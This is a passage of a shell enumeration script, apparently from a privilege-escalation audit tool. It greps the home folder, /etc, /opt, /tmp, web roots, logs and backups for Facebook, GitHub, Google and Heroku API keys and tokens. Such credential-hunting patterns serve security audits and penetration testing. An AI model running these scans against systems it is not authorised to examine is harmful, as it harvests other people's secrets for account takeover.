timeout 120 find /var/log -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~"&
wait
print_3title "Searching Facebook Oauth (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~"&
wait
print_3title "Searching Facebook Secret Key (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~"&
wait
print_3title "Searching Github (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~"&
wait
print_3title "Searching Google API Key (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~"&
wait
print_3title "Searching Google Cloud Platform API Key (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~"&
wait
print_3title "Searching Google Drive Oauth (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~"&
wait
print_3title "Searching Google Oauth Access Token (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~"&
wait
print_3title "Searching Heroku API Key (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}~${SED_RED}~"&
